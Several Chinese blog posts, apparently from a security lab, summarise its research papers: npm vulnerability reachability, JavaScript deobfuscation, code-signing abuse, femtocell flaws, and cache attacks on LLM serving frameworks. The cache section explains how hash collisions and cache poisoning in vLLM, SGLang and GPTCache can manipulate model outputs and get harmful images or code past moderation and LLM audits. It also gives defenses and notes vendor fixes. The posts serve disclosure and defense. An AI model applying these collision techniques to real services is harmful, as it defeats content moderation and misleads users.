同时,VulTracer基于全量npm生态(覆盖3400万个npm 包版本,超 9 亿条依赖关系)进行了迄今为止最大规模的函数级漏洞影响实证研究。实验结果表明,该工具在调用图构建上达到了0.905的F1分数(SOTA),相比npm audit降低了94%的误报率;同时研究结果进一步揭示,现有包级别分析工具产生的警报中 68.28% 均为“噪声”(即漏洞代码不可达),且真实的漏洞传播往往随依赖层级加深而迅速衰减。该工作为缓解开发者的警报疲劳提供了切实可行的技术路径,使安全修复工作能聚焦于真实存在的威胁。

3.JavaScript脚本的自动化反混淆

第三篇论文是由奇安信技术研究院和北京邮电大学合作完成的关于JavaScript反混淆的工作。论文题目为《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》,这项工作由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和王东滨教授(北京邮电大学),参与该项工作的还有柴华君(奇安信星图实验室)。这篇论文也是我们继PowerPeeler (CCS 2024)和Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。

JavaScript作为互联网核心脚本语言的广泛应用,使其成为恶意攻击者的重要载体。攻击者利用复杂的代码混淆技术隐藏恶意行为,给安全分析带来严峻挑战。现有反混淆工具普遍存在处理复杂样本能力有限、仅支持特定混淆类型、输出代码难以阅读等关键局限。为解决这些问题,我们设计开发了JSIMPLIFIER,一款集成多阶段处理流程与大语言模型增强的综合性JavaScript反混淆工具。该工具创新性地结合代码预处理、静态AST分析与动态执行监控的双引擎协同,以及基于LLM的智能变量重命名,实现从复杂样本格式化到语义增强的全流程反混淆。JSIMPLIFIER基于44,421个真实混淆样本构建了目前最大规模数据集,实验证明其100%覆盖20种主流混淆技术,达到100%处理成功率和正确率,代码复杂度降低88.2%,可读性提升超过4倍。该工具已成功还原JSFireTruck等复杂恶意样本的混淆行为,相关研究成果、工具及数据集已开源共享。

4. Windows 代码签名滥用分析

第四篇论文是由奇安信技术研究院、清华大学和中关村实验室合作完成的关于代码签名滥用检测的工作。论文题目为《Understanding the Status and Strategies of the Code Signing Abuse Ecosystem》,这项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生赵汉卿主导完成,导师为段海新教授(清华大学)和应凌云博士(奇安信星图实验室)。其他作者分别为张一铭(清华大学)、张明明(中关村实验室)、刘保君(清华大学)、游子权(清华大学)、张书豪(奇安信星图实验室)。

近年来,软件供应链安全事件频发,为了保护软件真实性与完整性,代码签名机制应运而生。代码签名主要依赖公钥基础设施 PKI 技术,旨在确保软件来自真实来源且软件内容未被篡改。然而,攻击者有时会反过来利用代码签名PKI信任体系中的安全缺陷,帮助恶意软件绕过操作系统和杀毒软件的检查。深入理解代码签名滥用生态系统的演变过程以及滥用者的策略,对于完善相关检测与防御机制至关重要。

在这项工作中,我们利用从真实世界中收集的 3,216,113 个已签名的恶意 PE 文件,对代码签名滥用行为进行了大规模测量。通过细粒度的代码签名滥用检测分类算法,我们检测到了 43,286 张滥用证书,构建了迄今为止最大的滥用标记数据集。分析发现当前代码签名滥用现象普遍存在,影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现了 5 种滥用者的攻击策略,并根据当前代码签名 PKI 存在的安全缺陷提出了若干缓解措施。

5. 4G LTE 飞基站系统性安全评估

第五篇论文是由清华大学、奇安信技术研究院、CableLabs、Carleton University 及泉城实验室合作完成的关于 4G LTE femtocell 安全风险评估的研究工作。论文题目为 《Small Cell, Big Risk: A Security Assessment of 4G LTE Femtocells in the Wild》。该项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生杨雅儒主导完成,导师为段海新教授(清华大学、泉城实验室)和汤舒俊(奇安信技术研究院)。其他作者分别为张一铭(清华大学)、万涛(CableLabs & Carleton University)、常得量(奇安信技术研究院)、李义申(清华大学)。

近年来,为了提升室内覆盖、降低部署成本并分担宏基站流量,femtocell 作为一种小型、低功耗的运营商基站,被部署于个人家庭等场景。与传统基站不同,femtocell 通常直接接入公共互联网,并在物理与网络层面更容易被攻击者接触。一旦被攻破,femtocell 会以“受信任节点”的身份接入核心网,可能对用户隐私与核心网安全造成严重威胁。

这项工作对真实世界中的 4G LTE femtocell 进行了系统性的安全评估。我们分析了 4 款来自不同厂商的商用 femtocell 设备,从硬件与软件两个层面识别出 5 类可导致本地或远程攻破的共性漏洞。在此基础上,我们在受控实验环境中进一步分析了被攻破 femtocell 对用户侧业务的安全影响,验证了对数据业务、语音通话以及短信服务的威胁,例如用户通信内容的机密性可能在特定场景下面临风险。随后,我们进一步开展了互联网规模测量,基于 IKEv2、TR-069 及管理接口等协议特征,在全球 IPv4 空间中识别出 86,108 个疑似 femtocell 部署实例,其中超过六成为高置信度目标。研究结果表明,femtocell 在真实网络中的暴露程度与安全风险显著,一台被攻破的 femtocell 即可能成为攻击用户与核心网络的重要入口。基于上述发现,我们讨论了其安全影响,并提出了针对设备、部署与标准层面的缓解建议。

=========  我 是 分 割 线  =========

星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。

我们目前正在招聘,工作地点覆盖北京、南京、成都等城市,详情请参见:https://research.qianxin.com/recruitment/

在大模型(LLM)服务极速发展的当下,效率至关重要。为了降低延迟并控制算力成本,主流推理框架广泛引入了先进的缓存机制。然而,这种追求极致速度的设计是否埋下了安全隐患?

本论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作说明了缓存机制如果实现不恰当的话,就会造成安全隐患。论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和曲海鹏教授(中国海洋大学),其他作者为陈国强(奇安信星图实验室),谷雅聪(清华大学)。这项研究聚焦于大语言模型(LLM)推理服务框架中的安全威胁,深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。

1. LLM推理加速背后的隐忧

随着模型参数规模的不断膨胀,推理计算的开销急剧上升。为了优化用户体验,vLLM、SGLang、GPTCache等主流服务框架引入了多种缓存策略,包括前缀缓存(Prefix Cache)、语义缓存(Semantic Cache)和多模态缓存(Multimodal Cache)。

虽然这些机制通过存储中间状态极大地减少了重复计算,但我们的研究发现,现有的缓存实现往往“重效率、轻安全”。非加密哈希函数的滥用、有缺陷的对象序列化以及模糊的语义匹配标准,共同构成了一个全新的、尚未被充分探索的攻击面。与以往关注训练阶段的数据投毒不同,这是一类发生在推理阶段的全新安全威胁。

2. Cache Me, Catch You:首个LLM缓存安全系统性研究

为了揭示这一风险,我们对主流LLM服务框架的缓存实现进行了全面的解构与分析,并提出了六种新颖的攻击向量。这些攻击利用了哈希碰撞和语义模糊匹配的特性,能够在不接触模型权重的情况下,通过污染共享缓存来操纵模型输出。

主要发现与攻击向量:

我们将发现的威胁归纳为两大类:一是面向用户的欺诈攻击,即攻击者利用系统渠道向用户传递恶意信息 ,具体手段包括利用哈希碰撞替换合法提示词以劫持对话逻辑的系统提示词碰撞、针对语义缓存构造高相似度恶意查询诱导错误回答的语义模糊投毒 ,以及在检索增强生成场景下利用文档相似性扩大攻击面的RAG语义投毒 ;二是系统完整性攻击,旨在破坏服务功能或绕过安全审查 ,具体涵盖构造与目标完整前缀碰撞以劫持响应的提示词碰撞劫持 、通过精心构造padding token让恶意代码块对LLM“隐形”以绕过审计的分块碰撞劫持 ,以及利用图像处理忽略元数据(如尺寸)缺陷构造哈希碰撞图片以绕过审核的多模态碰撞 。

细节详解:

以多模态为例,其核心漏洞根源在于当前主流推理框架(如vLLM)在对多模态数据进行序列化时存在严重的逻辑缺陷。具体而言,vLLM默认调用PIL 的 tobytes() 方法来提取图像数据以计算哈希,该方法虽然能获取原始像素字节流,但在vLLM的后续操作中完全忽略了图像宽高等尺寸信息以及调色板等关键元数据。攻击者利用这一特性实施“尺寸伪装”攻击,通过重塑图像维度(例如将 H*W的图像变形为W*H)而不改变像素排列顺序,使得原本违规的图片变成一团毫无意义的噪点,从而生成与原图完全一致的哈希值。此外,攻击者还能利用“调色板模式”漏洞,构造出索引数据相同但颜色定义截然相反的图片对(如黑底白字与白底黑字),由于序列化过程仅读取索引而忽略调色板定义,这两张视觉迥异的图片在系统眼中却拥有相同的“指纹”。

同样的隐患也出现在SGLang框架中,其为了适配张量数值范围将SHA256哈希值进行了取模截断,导致哈希空间被压缩至极易发生碰撞的范围。

下图是我们操纵图片当中的尺寸和PNG当中的P格式的调色盘,实现看上去不同的图片但是hash一致。

3. 实验效果与影响评估

我们在vLLM、SGLang及GPTCache等主流开源框架上进行了实测,证实了这些攻击路径的高可用性与低门槛:攻击者仅需不到1美元的成本即可完成一次投毒 。以针对vLLM的前缀缓存攻击为例,我们在30分钟内便成功搜索到碰撞哈希,实现了100%的缓存命中 。

实验还还原了真实的威胁场景违规图片如何利用多模态缓存缺陷骗过内容审核系统。下图展示一个示意图,成功命中图片之后会复用之前的图片预处理结果,导致生成了错误回复。

4. 防御方案与行业响应

针对发现的漏洞,我们提出了五层防御策略,包括引入随机化哈希(Salting)、采用强加密哈希函数、强制规范化序列化流程、使用更鲁棒的Embedding模型以及增加LLM辅助过滤层。我们的理论分析和实际验证表明,上述的防御方案是可行的、有效的。

我们在第一时间将发现的漏洞通报给了受影响的厂商和社区,包括 vLLM、SGLang、GPTCache、AIBrix、rtp-llm 和 LMDeploy,并分配了 3个 CVE 编号。值得注意的是,vLLM、GPTCache 和 AIBrix 已经采纳了我们提出的缓解措施(如引入随机盐值、规范化图像序列化等)并完成了修复。(在本文发表时,SGLang也反馈采纳了我们的缓解措施。)

5. 讨论与未来展望

我们的研究再次表明,高性能不应成为忽视底层系统安全的理由。本研究证明,即便模型本身无懈可击,外围缓存框架的设计缺陷仍足以瓦解整个系统的信任基石;特别是在云端共享算力场景下,必须实施严格的多租户隔离与键值空间分离以防御跨租户攻击。作为填补推理侧缓存安全空白的先行工作,本研究旨在推动社区正视这一隐蔽威胁,共同构建更稳健的大模型服务基础设施。

更多参考

想了解更多技术细节?欢迎阅读我们的学术论文或访问项目主页:

代码仓库:https://github.com/XingTuLab/Cache_Me_Catch_You

感谢您的阅读,期待能为您的AI安全研究与工程实践带来启发!

一、引言:软件供应链安全的”狼来了”困境

想象这样一个场景:你是一名开发者,每天打开 CI/CD 系统,迎接你的是数百条安全警报——”检测到依赖包存在高危漏洞,请立即修复!” 但当你花费大量时间逐一排查后却发现,绝大多数警报都是虚惊一场:那些所谓的”漏洞代码” 根本就没有被你的应用调用。这种”警报疲劳”已成为软件供应链安全领域的痛点,也是众多安全检测工具难以实际落地应用的重要原因。

这正是奇安信技术研究院和清华大学研究团队在 NDSS 2026 会议上发表的论文所要解决的核心问题。论文题目为《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》,作者为蒲应元(奇安信星图实验室),应凌云博士(奇安信星图实验室)和谷雅聪博士(清华大学)。这项研究针对全球最大的开源软件生态系统——npm(拥有超过 300 万个包,2024 年处理了约 4.5 万亿次请求),提出了一套基于函数调用关系的细粒度漏洞传播关系识别方法和分析框架。论文分析结果表明传统工具所产生的漏洞警告中,高达 68.28% 都是”噪声”,即漏洞代码实际上根本无法被触达。

二、问题的本质:为什么传统方法会产生如此高的误报?

npm生态系统的复杂性源于其极度碎片化的包依赖结构。已有研究显示,约四分之一的npm包版本依赖于存在已知漏洞的包。以 pac-resolver为例,这个每周下载量达 300 万次的 npm 包曾曝出高危远程代码执行漏洞,导致 GitHub 上超过 28.5 万个公共仓库可能面临风险。但问题的关键在于:依赖存在漏洞的包,不等于你的应用真的受到影响。当前主流的软件成分分析(SCA)工具,如npm audit、GitHub Dependabot等,都采用包级别的分析方法。它们的逻辑很简单:如果你的依赖树中存在包A的v1.0版本,并且包A的v1.0版本存在漏洞,则发出警报提醒你的应用受到影响。 但这种粗粒度分析忽略了三个关键问题:

  1. 未使用的依赖:你的 package.json 声明了依赖,但代码中从未引入(require/import)该包的任何模块;
  2. 浅层的 API 使用:即使引入了包,可能只使用了其中若干个函数,而漏洞函数根本未被调用;
  3. 传递性衰减:通过多层依赖传递时,每一跳的使用范围都在缩小。

理论上,函数级可达性分析是最佳解决方案——只有当存在从应用入口到漏洞函数的调用路径时,才认为应用真正可能受到影响。但在 npm 生态实施函数级分析面临三大技术挑战:

  • 首先是可扩展性挑战:传统方法需要为每个项目构建完整的调用图(Call Graph),也包含其所有依赖,对于复杂项目,依赖数量可达数百甚至上千个包。每次分析都要从头开始,计算成本呈指数级增长。
  • 其次是 JavaScript 的动态特性带来的程序分析挑战。极其灵活的语法特性为静态分析制造了诸多盲区:代码中广泛存在的动态属性访问(利用变量而非字面量调用函数)、将函数作为参数传递的高阶函数机制(回调),以及允许在运行时动态修改对象原型链的特性,都让静态分析器难以在运行前确定具体的调用目标和完整的控制流,从而极易导致依赖分析链路的断裂或缺失。具体代码示例如下:
// 动态属性访问 
obj[propName]();  // propName是变量,静态分析难以确定调用目标  

// 高阶函数 
function process(callback) {    
    callback();  // 不知道传入的是哪个函数
}  

// 原型链动态修改 ,增加了分析的不确定性
Object.prototype.newMethod = function() { ... }; 
  • 最后,JavaScript 语言模块系统的复杂性进一步加剧了分析难度:CommonJS (require)和 ESM (import/export) 不同的模块机制、module.exports对象可在运行时修改,以及require()的参数可以是动态表达式 ,这些都进一步加剧了分析难度。

三、VulTracer的核心设计和解决方案

面对这些挑战,我们设计并实现了 VulTracer 这个分析框架。它的核心洞察在于:npm包一旦发布就不可变,因此可以为每个包预计算可复用的分析结果。这开启了”分析一次,复用多次”的新范式。

VulTracer 将传统的整体式分析分解为三个独立阶段,核心设计和架构如上图所示。以下将详细介绍每一个部分的设计逻辑和细节。

3.1 富语义图生成 (RSG Generation)

首先,VulTracer 利用程序静态分析技术,为每一个包构建了一个富语义图(Rich Semantic Graph, RSG)。这张图不仅看清了包内部的函数调用脉络,更关键的是,它显式地刻画了包的“边界”——哪些函数被暴露给了外部,又有哪些地方调用了外部依赖。传统的调用图(Call Graph)只记录”谁调用了谁”,而RSG设计了一个多层次的图结构,完整保留包的边界信息,图中的实体结构和详细定义如 下图 DEF1 所示,包含了三类不同的顶点集合和边集合。

3.2 接口契约提取 (Interface Contract Extraction)

虽然 RSG 保留了包的全部内部细节,但如何让独立分析的包能够正确”对接”?这就涉及到了提取形式化的接口契约。VulTracer 从这张复杂的图中提取出了一份简洁的形式化接口契约(Interface Contract)。这就像是给每个软件模块定义了标准的“插头”和“插座”,契约中清晰地记录了 API 的导出方式(Export Manifold)和导入方式(Import Manifest)。这一步至关重要,它充当了一道“语义防火墙”,屏蔽了复杂的内部实现细节,只保留了交互所需的关键信息。具体的定义如下图DEF2 所示。

3.3 拓扑排序驱动的按需组合式合成 (Compositional Synthesis)

最后,当需要检测某个具体项目时,VulTracer 不再需要深究源代码,而是像拼乐高积木一样,根据依赖关系,将预先计算好的 RSG 和契约进行组合式合成(Compositional Synthesis)形成一个新的生态级调用图 (ECG)。并且该 ECG 可根据任意真实项目的依赖关系按需组装。这种设计使得分析速度和扩展性得到了质的飞跃——在处理复杂的真实依赖图时,VulTracer 的成功率高达 99.41%,而对比的工具Jelly仅为 37.37%。

四、生态级实证研究:揭示漏洞传播的真相

在这项工作中,我们利用 VulTracer 对整个 npm 生态进行了史上最大规模的函数级漏洞传播影响分析。

4.1 数据集构建

首先我们构建了两个核心的数据集:

  • npm 生态数据集: 包含了 3,267,273个唯一npm包 以及其 34,685,976 个不同版本 。同时解析并构建了整个生态中超过9亿条的依赖关系。
  • 漏洞数据集:我们采用双维度选择策略,确保选择的漏洞样本既有代表性又有多样性。一是高影响力漏洞,从 2024 年下载量排行 TOP 10 的软件包 lodash, debug, semver, minimatch 这四个核心库中,找到了影响他们的6个CVE漏洞,每个软件包都有数十万直接依赖包,并且漏洞影响了超过百万的下游软件包。二是多样性维度,对齐 2024 CWE-Top-25 的类型,覆盖注入(CWE-79)、原型污染(CWE-1321)等21个不同类型的 CVE 漏洞,代表不同的攻击向量。最终我们的研究涵盖了27个CVE,涉及9,868,514条潜在传播路径

4.2 单跳分析:分析衰减的根本原因

我们首先聚焦于d₁ → d₀的单跳关系,这样可以排除多跳传播的复杂因素,精确归因。在我们的研究中建立了三层漏洞传播条件:仅引入模块 (C_mod)、调用任意函数 (C_func)、调用漏洞函数 (C_vuln_func)。定义如下图所示:

只有 C_mod ∧ C_func ∧ C_vuln_func 同时为真,才认为漏洞真正传播。最终单跳的分析结果如下表所示。

我们发现平均 22.80% 的直接依赖包声明了依赖,但从未导入任何模块(C_mod失败)。以 lodash 为例:存在 396,112 个声明依赖的包,但是有 131,933个”僵尸依赖” (33.31%)。这13万多个包背上了”有漏洞”的标签,但实际上完全不受影响。同时我们还发现,npm 第三方库的 API 设计决定传播率。同样的对于 lodash 这样一个综合工具库,拥有242个函数,但漏洞函数 template 只占所有调用的0.30%,排名第49位,详细分析如下图所示。说明这个函数的下游使用率并不高。与之相反的是 debug 库,它功能单一专注于调试,其核心功能函数就是其主函数,导致直接依赖者的受影响比例高达 71.77%。

4.3 多跳分析:揭示传递性衰减规律

单跳分析揭示了初始衰减,但漏洞会通过传递依赖传播多远?我们追踪了完整的传播路径。在分析中,我们追踪了9,868,514条潜在传播路径,涉及1,663,634个包版本。 最终不同漏洞的传播结果如下表所示。

在表格数据中, 以 CVE-2022-3517 (minimatch) 为例,数据揭示了粗粒度分析带来的严重误报问题。包级别分析报告了 497,595 条潜在传播路径,涉及 286,731 个受影响的包版本。然而,经由 VulTracer 的函数级可达性分析,确证受影响的包版本仅为 22,557 个。从全局统计维度来看,函数级分析所识别的受影响库数量平均仅为包级别分析结果的 31.72% 。这一数据统计表明,现有包级别依赖扫描工具产生的警报中,约 68.28% 属于漏洞代码不可达的误报(False Positives)。

最后,在上图也更进一步可视化了漏洞传播随依赖链路深度的衰减过程,分别从两个不同的视角来进行呈现。图(a)展示了每一跳(Hop)中新增受影响包数量的分布情况。对比显示,函数级别(红色曲线)的传播在 3 跳之后呈现出急剧的衰减趋势,与包级别(蓝色曲线)的长尾分布形成显著差异。这证实了真实的漏洞影响范围会随着依赖深度的增加而迅速减弱。而图 (b) 展示了传播过程中的累积概率分布情况进一步佐证了这一“浅层效应”:函数级传播曲线迅速收敛并达到平台期,数据显示 96.59% 的真实受影响包均收敛在 4 跳 的范围内。这意味着,尽管依赖图谱可能具有较深的层级结构,但具有实际威胁的漏洞传播主要局限于浅层依赖网络中。

五、结论:从噪声中提取信号

面对日益复杂的开源生态,我们的研究证明,传统的“版本比对”模式已经难以为继。由现有包级别工具识别出的潜在风险中,高达 68.28% 的漏洞代码实际上从未被调用 。换言之,近七成的“受影响”项目其实是安全的,并不需要火急火燎地去修复。这种高误报率不仅制造了巨大的“噪声”,更导致了严重的警报疲劳,反而掩盖了真正的威胁。因此,转向更细粒度的函数级可达性分析已是行业必经之路。通过 VulTracer,我们可以从噪声中提取出那 30% 的真实信号。这不仅能让开发者从无效的运维工作中解脱出来,更能让安全团队聚焦于真正具有可利用性的威胁。这才是让供应链安全治理走出困境、迈向精准防御的未来方向 。

一、当恶意代码穿上”隐身衣”:JavaScript混淆的现实威胁

打开一个可疑的JavaScript文件,你可能会看到这样的代码:

这不是乱码,而是攻击者精心设计的”隐身衣”——JavaScript代码混淆。这段看似天书般的代码,实际上可能隐藏着窃取用户数据、植入后门或发起网络攻击的恶意逻辑。

JavaScript作为互联网前端和客户端脚本的核心语言,在网页及各类网络应用中被广泛使用,这也使其成为了攻击者的首选目标。攻击者频繁利用JavaScript的动态特性,通过多层、多样化的混淆技术隐藏恶意代码,极大增加了安全分析的难度。

面对这一日益严峻的安全威胁,奇安信技术研究院星图实验室与北京邮电大学联合研究团队在NDSS 2026会议上发表了论文《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》。该论文由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和王东滨教授(北京邮电大学),参与该项工作的还有柴华君(奇安信星图实验室)。这篇论文也是我们继PowerPeeler (CCS 2024)Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。

通过系统性文献调研和样本分析,研究团队将JavaScript混淆技术归纳为四大类共20种技术:词法级混淆(变量重命名、间接属性访问等5种)、语法级混淆(表达式转函数、特殊编码等6种)、语义级混淆(字符串数组、控制流平坦化等7种)和多层混淆(OB混淆、AI辅助混淆2种)。针对这些复杂化的混淆趋势,研究开发的综合性反混淆工具JSIMPLIFIER能够自动破解各种混淆技术,将晦涩的恶意代码还原为安全分析师能够快速理解的清晰形式。

二、现有反混淆工具的三重困境

当前的JavaScript反混淆工具面临着三个核心挑战,这些挑战严重限制了它们在实际安全分析中的应用效果。

输入处理的脆弱性: 现有工具在遇到不同语法、混合编码、打包器包装等”不规范”输入时经常直接崩溃。真实世界的恶意代码往往包含这些问题,导致工具连分析机会都没有。
分析策略的单一性: 静态分析工具无法处理运行时依赖的混淆(如动态代码生成),动态分析工具又难以应对大规模样本和安全风险。更关键的是,现有工具通常只针对特定混淆模式,缺乏对多层混淆的综合支持。以JSFireTruck恶意软件为例,这个一个月内感染26.9万网页的攻击使用了复杂的多层混淆,现有工具要么无法处理,要么只能部分解码。
输出可读性的缺失: 即使成功反混淆,输出代码仍充斥着_0x4f2a_0x1b3c等这样的无意义标识符,安全分析师需要花费大量时间才能理解代码逻辑,严重影响威胁响应效率。

三、JSIMPLIFIER的创新设计

针对以上挑战,我们提出了JSIMPLIFIER,一款集代码预处理、静态抽象语法树分析、动态执行跟踪和大语言模型(LLM)智能变量重命名与代码美化于一体的综合性反混淆工具。JSIMPLIFIER采用三阶段流水线架构,每个阶段专门解决一类核心问题,形成了从”输入修复”到”逻辑还原”再到”可读性提升”的完整处理链条。

预处理器:让”坏代码”变”好代码”(Preprocessor)

预处理器是整个系统的基石,负责将各种”问题代码”标准化为可分析的格式。它首先进行代码有效性检查,使用容错性强的Meriyah解析器,即使面对不同灵活语法或不完整的代码也能生成完整的抽象语法树(AST)。接着进行词法清理,系统性地处理字符编码冲突,比如将过时的八进制转义序列(如\302)转换为标准的十六进制格式(如\xC2),并重建被分割的多字节UTF-8字符。在语义兼容化阶段,系统将遗留的JavaScript构造替换为跨平台等价物,确保在现代JavaScript环境中的兼容性。最后通过结构优化,利用AST作用域链遍历解决声明冲突,将代码重构为严格模式兼容的形式。

反混淆器:静态与动态的完美协作(Deobfuscator)

反混淆器采用混合分析设计,巧妙结合静态AST分析和受控动态执行。

增强的静态AST分析 方面,JSIMPLIFIER配备强化表达式求值引擎,专门处理混淆代码中的复杂构造:对于LogicalExpressions,实现正确的短路求值处理嵌套的&&||链(如False && anything直接返回False);对于ES6解构赋值如[a, b, c] = [getValue(), obj.prop, func.call(this)],JSIMPLIFIER扩展AssignmentExpression处理,解析左侧模式结构并递归遍历嵌套数组模式,将每个元素位置映射到对应的右侧值;对于UnaryExpressions中的环境检测代码如typeof window !== 'undefined',JSIMPLIFIER维护excludedNames白名单(包含window、document、navigator等关键全局变量),避免静态求值破坏环境特定的代码路径。

受控动态执行监控 方面,JSIMPLIFIER首先进行预执行风险评估,扫描危险关键字组合(push、shift、eval、await)识别可能导致无限循环或递归死锁的代码模式,并通过函数依赖映射追踪混淆函数间的调用关系。然后使用Node.js的vm.runInNewContext创建隔离执行环境,每个混淆代码段在独立的沙箱VM实例中运行,无法访问文件系统、网络或全局对象,仅暴露必要的内置对象。JSIMPLIFIER实现了全面的安全机制,包括执行超时防止进程挂起、递归深度限制防止无限循环、内存监控防止资源耗尽攻击。

混合分析协调技术 通过双向信息流实现两种分析方法的有机融合。在静态到动态的移交中,当静态分析遇到无法安全求值的CallExpression时(如函数调用者通过变量查找确定、涉及运行时代码生成的调用、依赖运行时状态的调用),JSIMPLIFIER的canbetransformed标记机制识别这些表达式并打包上下文信息传递给动态执行监控。在动态到静态的反馈整合中,动态执行结果经过类型感知处理后重新整合到静态AST:简单数据类型直接转换为字面量AST节点,函数结果解析为FunctionExpression节点,复杂对象通过JSON序列化确保安全表示,同时更新作用域链中的变量绑定并触发依赖代码段的重新分析。

人性化器:从机器码到人类语言(Humanizer)

虽然反混淆器成功恢复了程序逻辑,但结果往往仍然难以阅读。人性化器通过LLM技术将机械正确但晦涩的代码转化为专业、可读的形式。在智能标识符重命名方面,JSIMPLIFIER可以利用多种LLM模型(GPT、Gemini、本地模型等)进行上下文感知的变量和函数重命名,将无意义的混淆标识符替换为语义明确的名称。同时通过专业代码美化,集成Prettier格式化工具,确保输出符合行业标准的代码规范,包括一致的缩进、标准化的括号放置和规范的引号使用,最终生成既功能正确又易于理解的高质量代码。

四、最大规模验证与突破性成果

全面的数据集构建

为公正全面地评估工具性能,我们构建了业界最大的真实JavaScript混淆数据集进行验证。MalJS数据集包含23,212个野生恶意样本(平均391.78KB),这些样本来自超过1000万个真实恶意代码中的精选,覆盖所有已知的20种混淆技术。BenignJS数据集包含21,209个良性样本(平均41.40KB),来源于GitHub热门项目和合法网站。这两个数据集提供了真实世界中多样化和多层混淆技术的样本,远超现有数据集仅包含人工生成样本的局限。

全面的技术覆盖突破

实验评估采用了多个互补维度进行综合测评。在反混淆能力评估中(表II),JSimplifier实现了对全部20种混淆技术的100%处理能力和100%正确率,远超现有工具。与13种现有方法(包括10种传统工具和3种基于LLM的方案)的对比表明,传统工具在面对复杂语义级混淆时表现不足,而即便是先进的LLM方案也难以处理最复杂的混淆方法。

显著的代码简化效果

在代码简化评估中,JSimplifier在多个维度上展现了卓越的性能。首先,工具在CombiBench基准测试上达到了0.8820的Halstead长度减少分数——这一指标衡量代码中操作符和操作数的数量变化,分数越高说明代码复杂度降低更多。JSimplifier实现的88.2%复杂度降低意味着反混淆后的代码比原始混淆代码简单了近9成,显著超越了现有工具。

此外,研究团队还采用熵值分析来量化代码的随机性和混乱程度。熵值越低,代码的结构越清晰、可读性越强。大规模评估显示,JSimplifier在全部44,421个样本上实现了显著的熵值降低(如图2)——无论是AST结构熵(衡量代码语法树的复杂度)还是代码文本熵(衡量文本层面的混乱度)均达到最低中位值,充分证明了工具在真实场景中的有效性。

质的可读性飞跃

为验证代码可读性提升,研究团队采用了多个先进LLM模型(Claude 3.7 Sonnet、Gemini 2.5 Pro、DeepSeek-R1、GPT-o3)进行独立评估。这些模型对代码可读性进行0-10分的打分,其中0分代表完全不可读,10分代表极易理解。评估结果如下表所示,JSimplifier实现了平均466.94%的可读性提升,将难以理解的混淆代码(评分1.02-1.81,接近完全不可读)转化为适合安全分析的清晰代码(评分6.21-7.83,达到良好可读性水平)。

此外,研究团队还进行了用户研究,邀请9名不同专业水平的参与者(新手、中级、专家各3名)分析混淆样本。结果表明JSimplifier显著提升了分析准确率(新手提升12.7%)并大幅减少了分析时间(中级用户减少47.7%),主观评分在可读性、清晰度和逻辑性方面均显著提高。用户研究显示,工具显著提升了分析准确率(新手提升12.7%)并大幅减少了分析时间(中级用户减少47.7%)。一位中级参与者评价道:”变量重命名让我能够快速跟踪逻辑流程,我可以在几分钟内识别出可疑的网络调用,而不是在整个分析过程中大海捞针。”

实战验证:破解JSFireTruck的”密码”

JSFireTruck恶意软件活动是JSIMPLIFIER实战能力的最佳证明。这个复杂的攻击活动仅使用六个ASCII字符!+就构建了极其复杂的混淆代码,传统工具几乎束手无策。

原始混淆代码(部分):

JSIMPLIFIER反混淆结果:

通过JSIMPLIFIER,安全分析师可以清晰地看到攻击逻辑:检测搜索引擎来源、注入恶意iframe、重定向到攻击域名。这种从”天书”到”明文”的转换,极大提升了威胁分析和响应的效率,展现了工具在真实安全分析场景中的实用价值。

五、结论:从”混乱”到”清晰”的技术突破

JSIMPLIFIER的成功体现了针对JavaScript混淆这一具体安全问题的有效解决方案。通过将静态分析、动态执行和LLM技术相结合,该工具在处理复杂混淆代码方面取得了显著进展。

技术贡献的实际价值主要体现在三个方面:三阶段流水线架构有效解决了输入多样性、分析复杂性和输出可读性的问题;静态与动态分析的协调机制克服了单一方法的局限性;LLM技术的合理应用显著改善了代码的人机交互体验。这些技术改进为反混淆工具的发展提供了新的参考方向。

实验验证的充分性通过大规模真实数据集得到了有力支撑。在44,421个样本上的测试结果——100%的技术覆盖率、88.2%的复杂度降低、466.94%的可读性提升——证明了该方法的有效性。JSFireTruck等真实案例的成功处理进一步验证了工具在实际安全分析场景中的实用价值。

当然,JavaScript混淆技术仍在不断发展,新的挑战也会持续出现。JSIMPLIFIER的模块化设计为应对这些变化提供了一定的灵活性。我们期待通过持续的技术改进和社区合作,进一步提升JavaScript安全分析的效率和准确性。

目前,JSimplifier及对应数据集已开源发布,面向安全研究和防护社区共享。未来工作将继续优化工具性能,扩展对更多混淆技术的支持,为脚本安全分析提供更好的技术工具。

项目开源地址:https://github.com/XingTuLab/JSIMPLIFIER

论文链接:https://arxiv.org/abs/2512.14070

大模型的“推理能力”能让机器具备与人类相似的认知和行为能力,能像人一样理解、思考、学习并解决复杂问题。而在众多推理能力评测场景中,数学推理任务是当前衡量和追踪模型推理能力进展的 “黄金标尺”。与此同时,主流数学推理评测体系正面临关键瓶颈:部分顶尖模型在常用的数学推理评测任务中,如 AIME24/25 的正确率已突破 90%,评测区分度大幅下降,难以再有效牵引模型向更高阶推理能力进化;此外,现有基准大多源于公开竞赛题库,存在数据穿越风险。

